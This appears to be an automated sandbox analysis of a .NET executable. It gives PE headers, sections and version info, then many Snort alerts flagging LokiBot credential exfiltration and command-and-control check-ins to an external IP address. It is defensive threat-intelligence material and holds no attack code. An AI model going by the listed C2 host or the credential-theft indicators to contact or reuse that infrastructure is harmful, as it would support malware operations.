Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6afb4	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x6c000	0x60c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x6e000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x69014	0x69200	False	0.106985266795	data	4.74374955129	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rsrc	0x6c000	0x60c	0x800	False	0.34521484375	data	4.89513334519	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x6e000	0xc	0x200	False	0.044921875	data	0.101910425663	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_VERSION	0x6c0a0	0x380	data	English	United States
RT_MANIFEST	0x6c420	0x1ea	XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
LegalCopyright	All Rights Reserved
Assembly Version	5.870.486.295
InternalName	.exe
FileVersion	5.870.486.295
CompanyName	Inc.
LegalTrademarks
Comments
ProductName
ProductVersion	5.870.486.295
FileDescription
OriginalFilename	.exe
Translation	0x0000 0x0514

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
03/15/21-20:00:59.299750	TCP	2024312	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1	49696	80	192.168.2.5	87.251.79.157
03/15/21-20:00:59.299750	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49696	80	192.168.2.5	87.251.79.157
03/15/21-20:00:59.299750	TCP	2025381	ET TROJAN LokiBot Checkin	49696	80	192.168.2.5	87.251.79.157
03/15/21-20:00:59.299750	TCP	2024317	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2	49696	80	192.168.2.5	87.251.79.157
03/15/21-20:00:59.912760	TCP	2024312	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1	49697	80	192.168.2.5	87.251.79.157
03/15/21-20:00:59.912760	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49697	80	192.168.2.5	87.251.79.157
03/15/21-20:00:59.912760	TCP	2025381	ET TROJAN LokiBot Checkin	49697	80	192.168.2.5	87.251.79.157
03/15/21-20:00:59.912760	TCP	2024317	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2	49697	80	192.168.2.5	87.251.79.157
03/15/21-20:01:01.352142	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49698	80	192.168.2.5	87.251.79.157
03/15/21-20:01:01.352142	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49698	80	192.168.2.5	87.251.79.157
03/15/21-20:01:01.352142	TCP	2025381	ET TROJAN LokiBot Checkin	49698	80	192.168.2.5	87.251.79.157
03/15/21-20:01:01.352142	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49698	80	192.168.2.5	87.251.79.157
03/15/21-20:01:01.791880	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49698	87.251.79.157	192.168.2.5
03/15/21-20:01:02.461606	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49699	80	192.168.2.5	87.251.79.157
03/15/21-20:01:02.461606	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49699	80	192.168.2.5	87.251.79.157
03/15/21-20:01:02.461606	TCP	2025381	ET TROJAN LokiBot Checkin	49699	80	192.168.2.5	87.251.79.157
03/15/21-20:01:02.461606	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49699	80	192.168.2.5	87.251.79.157
03/15/21-20:01:02.822240	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49699	87.251.79.157	192.168.2.5
03/15/21-20:01:03.117405	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49700	80	192.168.2.5	87.251.79.157
03/15/21-20:01:03.117405	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49700	80	192.168.2.5	87.251.79.157
03/15/21-20:01:03.117405	TCP	2025381	ET TROJAN LokiBot Checkin	49700	80	192.168.2.5	87.251.79.157
03/15/21-20:01:03.117405	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49700	80	192.168.2.5	87.251.79.157
03/15/21-20:01:03.381765	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49700	87.251.79.157	192.168.2.5
03/15/21-20:01:04.226190	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49701	80	192.168.2.5	87.251.79.157
03/15/21-20:01:04.226190	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49701	80	192.168.2.5	87.251.79.157
03/15/21-20:01:04.226190	TCP	2025381	ET TROJAN LokiBot Checkin	49701	80	192.168.2.5	87.251.79.157
03/15/21-20:01:04.226190	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49701	80	192.168.2.5	87.251.79.157
03/15/21-20:01:07.057657	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49701	87.251.79.157	192.168.2.5
03/15/21-20:01:07.329028	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49702	80	192.168.2.5	87.251.79.157
03/15/21-20:01:07.329028	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49702	80	192.168.2.5	87.251.79.157
03/15/21-20:01:07.329028	TCP	2025381	ET TROJAN LokiBot Checkin	49702	80	192.168.2.5	87.251.79.157
03/15/21-20:01:07.329028	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49702	80	192.168.2.5	87.251.79.157
03/15/21-20:01:08.041174	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49702	87.251.79.157	192.168.2.5
03/15/21-20:01:08.319140	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49703	80	192.168.2.5	87.251.79.157
03/15/21-20:01:08.319140	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49703	80	192.168.2.5	87.251.79.157
03/15/21-20:01:08.319140	TCP	2025381	ET TROJAN LokiBot Checkin	49703	80	192.168.2.5	87.251.79.157
03/15/21-20:01:08.319140	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49703	80	192.168.2.5	87.251.79.157
03/15/21-20:01:09.199748	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49703	87.251.79.157	192.168.2.5
03/15/21-20:01:09.459261	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49704	80	192.168.2.5	87.251.79.157
03/15/21-20:01:09.459261	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49704	80	192.168.2.5	87.251.79.157
03/15/21-20:01:09.459261	TCP	2025381	ET TROJAN LokiBot Checkin	49704	80	192.168.2.5	87.251.79.157
03/15/21-20:01:09.459261	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49704	80	192.168.2.5	87.251.79.157
03/15/21-20:01:09.990872	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49704	87.251.79.157	192.168.2.5
03/15/21-20:01:10.247131	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49706	80	192.168.2.5	87.251.79.157
03/15/21-20:01:10.247131	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49706	80	192.168.2.5	87.251.79.157
03/15/21-20:01:10.247131	TCP	2025381	ET TROJAN LokiBot Checkin	49706	80	192.168.2.5	87.251.79.157
03/15/21-20:01:10.247131	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49706	80	192.168.2.5	87.251.79.157
03/15/21-20:01:10.543726	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49706	87.251.79.157	192.168.2.5
03/15/21-20:01:10.814030	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49707	80	192.168.2.5	87.251.79.157
03/15/21-20:01:10.814030	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49707	80	192.168.2.5	87.251.79.157
03/15/21-20:01:10.814030	TCP	2025381	ET TROJAN LokiBot Checkin	49707	80	192.168.2.5	87.251.79.157
03/15/21-20:01:10.814030	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49707	80	192.168.2.5	87.251.79.157
03/15/21-20:01:11.073519	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49707	87.251.79.157	192.168.2.5
03/15/21-20:01:11.333466	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49708	80	192.168.2.5	87.251.79.157
03/15/21-20:01:11.333466	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49708	80	192.168.2.5	87.251.79.157
03/15/21-20:01:11.333466	TCP	2025381	ET TROJAN LokiBot Checkin	49708	80	192.168.2.5	87.251.79.157
03/15/21-20:01:11.333466	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49708	80	192.168.2.5	87.251.79.157
03/15/21-20:01:11.586393	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49708	87.251.79.157	192.168.2.5
03/15/21-20:01:11.848733	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49709	80	192.168.2.5	87.251.79.157
03/15/21-20:01:11.848733	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49709	80	192.168.2.5	87.251.79.157
03/15/21-20:01:11.848733	TCP	2025381	ET TROJAN LokiBot Checkin	49709	80	192.168.2.5	87.251.79.157
03/15/21-20:01:11.848733	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49709	80	192.168.2.5	87.251.79.157
03/15/21-20:01:12.111888	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49709	87.251.79.157	192.168.2.5
03/15/21-20:01:12.375237	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49710	80	192.168.2.5	87.251.79.157
03/15/21-20:01:12.375237	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49710	80	192.168.2.5	87.251.79.157
03/15/21-20:01:12.375237	TCP	2025381	ET TROJAN LokiBot Checkin	49710	80	192.168.2.5	87.251.79.157
03/15/21-20:01:12.375237	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49710	80	192.168.2.5	87.251.79.157
03/15/21-20:01:12.661371	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49710	87.251.79.157	192.168.2.5
03/15/21-20:01:12.929997	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49711	80	192.168.2.5	87.251.79.157
03/15/21-20:01:12.929997	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49711	80	192.168.2.5	87.251.79.157
03/15/21-20:01:12.929997	TCP	2025381	ET TROJAN LokiBot Checkin	49711	80	192.168.2.5	87.251.79.157
03/15/21-20:01:12.929997	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49711	80	192.168.2.5	87.251.79.157
03/15/21-20:01:13.460848	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49711	87.251.79.157	192.168.2.5
03/15/21-20:01:13.736500	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49712	80	192.168.2.5	87.251.79.157
03/15/21-20:01:13.736500	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49712	80	192.168.2.5	87.251.79.157
03/15/21-20:01:13.736500	TCP	2025381	ET TROJAN LokiBot Checkin	49712	80	192.168.2.5	87.251.79.157
03/15/21-20:01:13.736500	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49712	80	192.168.2.5	87.251.79.157
03/15/21-20:01:14.088730	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49712	87.251.79.157	192.168.2.5
03/15/21-20:01:14.345824	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49713	80	192.168.2.5	87.251.79.157
03/15/21-20:01:14.345824	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49713	80	192.168.2.5	87.251.79.157
03/15/21-20:01:14.345824	TCP	2025381	ET TROJAN LokiBot Checkin	49713	80	192.168.2.5	87.251.79.157
03/15/21-20:01:14.345824	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49713	80	192.168.2.5	87.251.79.157
03/15/21-20:01:14.636305	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49713	87.251.79.157	192.168.2.5
03/15/21-20:01:14.911690	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49714	80	192.168.2.5	87.251.79.157
03/15/21-20:01:14.911690	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49714	80	192.168.2.5	87.251.79.157
03/15/21-20:01:14.911690	TCP	2025381	ET TROJAN LokiBot Checkin	49714	80	192.168.2.5	87.251.79.157
03/15/21-20:01:14.911690	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49714	80	192.168.2.5	87.251.79.157
03/15/21-20:01:15.317789	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49714	87.251.79.157	192.168.2.5
03/15/21-20:01:15.558859	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49715	80	192.168.2.5	87.251.79.157
03/15/21-20:01:15.558859	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49715	80	192.168.2.5	87.251.79.157
03/15/21-20:01:15.558859	TCP	2025381	ET TROJAN LokiBot Checkin	49715	80	192.168.2.5	87.251.79.157
03/15/21-20:01:15.558859	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49715	80	192.168.2.5	87.251.79.157
03/15/21-20:01:15.838733	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49715	87.251.79.157	192.168.2.5
03/15/21-20:01:16.089930	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49716	80	192.168.2.5	87.251.79.157
03/15/21-20:01:16.089930	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49716	80	192.168.2.5	87.251.79.157
03/15/21-20:01:16.089930	TCP	2025381	ET TROJAN LokiBot Checkin	49716	80	192.168.2.5	87.251.79.157
03/15/21-20:01:16.089930	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49716	80	192.168.2.5	87.251.79.157
03/15/21-20:01:16.392034	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49716	87.251.79.157	192.168.2.5
03/15/21-20:01:16.657506	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49717	80	192.168.2.5	87.251.79.157
03/15/21-20:01:16.657506	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49717	80	192.168.2.5	87.251.79.157
03/15/21-20:01:16.657506	TCP	2025381	ET TROJAN LokiBot Checkin	49717	80	192.168.2.5	87.251.79.157
03/15/21-20:01:16.657506	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49717	80	192.168.2.5	87.251.79.157
03/15/21-20:01:16.946177	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49717	87.251.79.157	192.168.2.5
03/15/21-20:01:17.197165	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49718	80	192.168.2.5	87.251.79.157
03/15/21-20:01:17.197165	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49718	80	192.168.2.5	87.251.79.157
03/15/21-20:01:17.197165	TCP	2025381	ET TROJAN LokiBot Checkin	49718	80	192.168.2.5	87.251.79.157
03/15/21-20:01:17.197165	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49718	80	192.168.2.5	87.251.79.157
03/15/21-20:01:17.449021	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49718	87.251.79.157	192.168.2.5
03/15/21-20:01:17.695734	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49719	80	192.168.2.5	87.251.79.157
03/15/21-20:01:17.695734	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49719	80	192.168.2.5	87.251.79.157
03/15/21-20:01:17.695734	TCP	2025381	ET TROJAN LokiBot Checkin	49719	80	192.168.2.5	87.251.79.157
03/15/21-20:01:17.695734	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49719	80	192.168.2.5	87.251.79.157
03/15/21-20:01:17.987251	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49719	87.251.79.157	192.168.2.5
03/15/21-20:01:18.244799	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49720	80	192.168.2.5	87.251.79.157
03/15/21-20:01:18.244799	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49720	80	192.168.2.5	87.251.79.157
03/15/21-20:01:18.244799	TCP	2025381	ET TROJAN LokiBot Checkin	49720	80	192.168.2.5	87.251.79.157
03/15/21-20:01:18.244799	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49720	80	192.168.2.5	87.251.79.157
03/15/21-20:01:18.718092	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49720	87.251.79.157	192.168.2.5
03/15/21-20:01:18.964074	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49721	80	192.168.2.5	87.251.79.157
03/15/21-20:01:18.964074	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49721	80	192.168.2.5	87.251.79.157
03/15/21-20:01:18.964074	TCP	2025381	ET TROJAN LokiBot Checkin	49721	80	192.168.2.5	87.251.79.157
03/15/21-20:01:18.964074	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49721	80	192.168.2.5	87.251.79.157
03/15/21-20:01:19.322258	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49721	87.251.79.157	192.168.2.5
03/15/21-20:01:19.791693	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49722	80	192.168.2.5	87.251.79.157
03/15/21-20:01:19.791693	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49722	80	192.168.2.5	87.251.79.157
03/15/21-20:01:19.791693	TCP	2025381	ET TROJAN LokiBot Checkin	49722	80	192.168.2.5	87.251.79.157
03/15/21-20:01:19.791693	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49722	80	192.168.2.5	87.251.79.157
03/15/21-20:01:20.117541	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49722	87.251.79.157	192.168.2.5
03/15/21-20:01:20.361542	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49723	80	192.168.2.5	87.251.79.157
03/15/21-20:01:20.361542	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49723	80	192.168.2.5	87.251.79.157
03/15/21-20:01:20.361542	TCP	2025381	ET TROJAN LokiBot Checkin	49723	80	192.168.2.5	87.251.79.157
03/15/21-20:01:20.361542	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49723	80	192.168.2.5	87.251.79.157
03/15/21-20:01:20.618341	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49723	87.251.79.157	192.168.2.5
03/15/21-20:01:21.004334	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49724	80	192.168.2.5	87.251.79.157
03/15/21-20:01:21.004334	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49724	80	192.168.2.5	87.251.79.157
03/15/21-20:01:21.004334	TCP	2025381	ET TROJAN LokiBot Checkin	49724	80	192.168.2.5	87.251.79.157
03/15/21-20:01:21.004334	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49724	80	192.168.2.5	87.251.79.157
03/15/21-20:01:21.287939	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49724	87.251.79.157	192.168.2.5
03/15/21-20:01:22.062018	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49725	80	192.168.2.5	87.251.79.157
03/15/21-20:01:22.062018	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49725	80	192.168.2.5	87.251.79.157
03/15/21-20:01:22.062018	TCP	2025381	ET TROJAN LokiBot Checkin	49725	80	192.168.2.5	87.251.79.157
03/15/21-20:01:22.062018	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49725	80	192.168.2.5	87.251.79.157
03/15/21-20:01:23.039788	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49725	87.251.79.157	192.168.2.5
03/15/21-20:01:23.293570	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49726	80	192.168.2.5	87.251.79.157
03/15/21-20:01:23.293570	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49726	80	192.168.2.5	87.251.79.157
03/15/21-20:01:23.293570	TCP	2025381	ET TROJAN LokiBot Checkin	49726	80	192.168.2.5	87.251.79.157
03/15/21-20:01:23.293570	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49726	80	192.168.2.5	87.251.79.157
03/15/21-20:01:25.291952	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49726	87.251.79.157	192.168.2.5
03/15/21-20:01:25.581075	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49727	80	192.168.2.5	87.251.79.157
03/15/21-20:01:25.581075	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49727	80	192.168.2.5	87.251.79.157
03/15/21-20:01:25.581075	TCP	2025381	ET TROJAN LokiBot Checkin	49727	80	192.168.2.5	87.251.79.157
03/15/21-20:01:25.581075	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49727	80	192.168.2.5	87.251.79.157
03/15/21-20:01:26.542694	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49727	87.251.79.157	192.168.2.5
03/15/21-20:01:26.790848	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49728	80	192.168.2.5	87.251.79.157
03/15/21-20:01:26.790848	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49728	80	192.168.2.5	87.251.79.157
03/15/21-20:01:26.790848	TCP	2025381	ET TROJAN LokiBot Checkin	49728	80	192.168.2.5	87.251.79.157
03/15/21-20:01:26.790848	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49728	80	192.168.2.5	87.251.79.157
03/15/21-20:01:27.122605	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49728	87.251.79.157	192.168.2.5
03/15/21-20:01:27.364126	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49729	80	192.168.2.5	87.251.79.157
03/15/21-20:01:27.364126	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49729	80	192.168.2.5	87.251.79.157
03/15/21-20:01:27.364126	TCP	2025381	ET TROJAN LokiBot Checkin	49729	80	192.168.2.5	87.251.79.157
03/15/21-20:01:27.364126	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49729	80	192.168.2.5	87.251.79.157
03/15/21-20:01:27.610562	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49729	87.251.79.157	192.168.2.5
03/15/21-20:01:27.852823	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49730	80	192.168.2.5	87.251.79.157
03/15/21-20:01:27.852823	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49730	80	192.168.2.5	87.251.79.157
03/15/21-20:01:27.852823	TCP	2025381	ET TROJAN LokiBot Checkin	49730	80	192.168.2.5	87.251.79.157
03/15/21-20:01:27.852823	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49730	80	192.168.2.5	87.251.79.157
03/15/21-20:01:28.146227	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49730	87.251.79.157	192.168.2.5
03/15/21-20:01:28.400492	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49731	80	192.168.2.5	87.251.79.157
03/15/21-20:01:28.400492	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49731	80	192.168.2.5	87.251.79.157
03/15/21-20:01:28.400492	TCP	2025381	ET TROJAN LokiBot Checkin	49731	80	192.168.2.5	87.251.79.157
03/15/21-20:01:28.400492	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49731	80	192.168.2.5	87.251.79.157
03/15/21-20:01:28.677203	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49731	87.251.79.157	192.168.2.5
03/15/21-20:01:28.911929	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49732	80	192.168.2.5	87.251.79.157
03/15/21-20:01:28.911929	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49732	80	192.168.2.5	87.251.79.157
03/15/21-20:01:28.911929	TCP	2025381	ET TROJAN LokiBot Checkin	49732	80	192.168.2.5	87.251.79.157
03/15/21-20:01:28.911929	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49732	80	192.168.2.5	87.251.79.157
03/15/21-20:01:29.195779	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49732	87.251.79.157	192.168.2.5
03/15/21-20:01:29.450562	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49733	80	192.168.2.5	87.251.79.157
03/15/21-20:01:29.450562	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49733	80	192.168.2.5	87.251.79.157
03/15/21-20:01:29.450562	TCP	2025381	ET TROJAN LokiBot Checkin	49733	80	192.168.2.5	87.251.79.157
03/15/21-20:01:29.450562	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49733	80	192.168.2.5	87.251.79.157
